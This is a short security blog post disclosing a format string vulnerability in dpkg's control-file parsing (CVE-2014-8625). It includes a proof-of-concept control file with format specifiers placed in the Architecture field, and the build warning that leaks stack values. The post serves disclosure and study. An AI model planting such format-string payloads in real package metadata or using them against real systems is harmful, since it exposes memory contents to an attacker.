Just Another Security/Programming Blog: November 2014

Monday, 10 November 2014

`dpkg' format string vulnerability. CVE-2014-8625

A few days ago, I found a strange/stupid vulnerability in dpkg.

Dpkg is the package manager for Debian-based operation systems, such as Ubuntu.
It handles .deb files.

When creating a dpkg package / .deb a file, a 'control file' must be made. This includes information about the package, such as the package name, description of package, maintainer(s), and version of the package.

That control file is used to display the information before the package is installed.

I found that in the "Architecture" part of the control file, you could put formatting strings, such as %s, %d, etc., and it would output the stack pointer.

For my control file, I have this:

Package: backup
Architecture: %08x.%08x.%08x.%08x.%08x\n
Description: Stuff
maintainer: Joshua Rogers
Version: 1


When building the package, I receive this warning:

dpkg-deb: warning: parsing file 'folder//DEBIAN/control' near line 2 package 'backup:01485120.00415cf8.00000001.00000001.0000001c\n':
 '%08x.%08x.%08x.%08x.%08x\n
Description: Stuff

[....]
01485120.00415cf8 is the stack pointers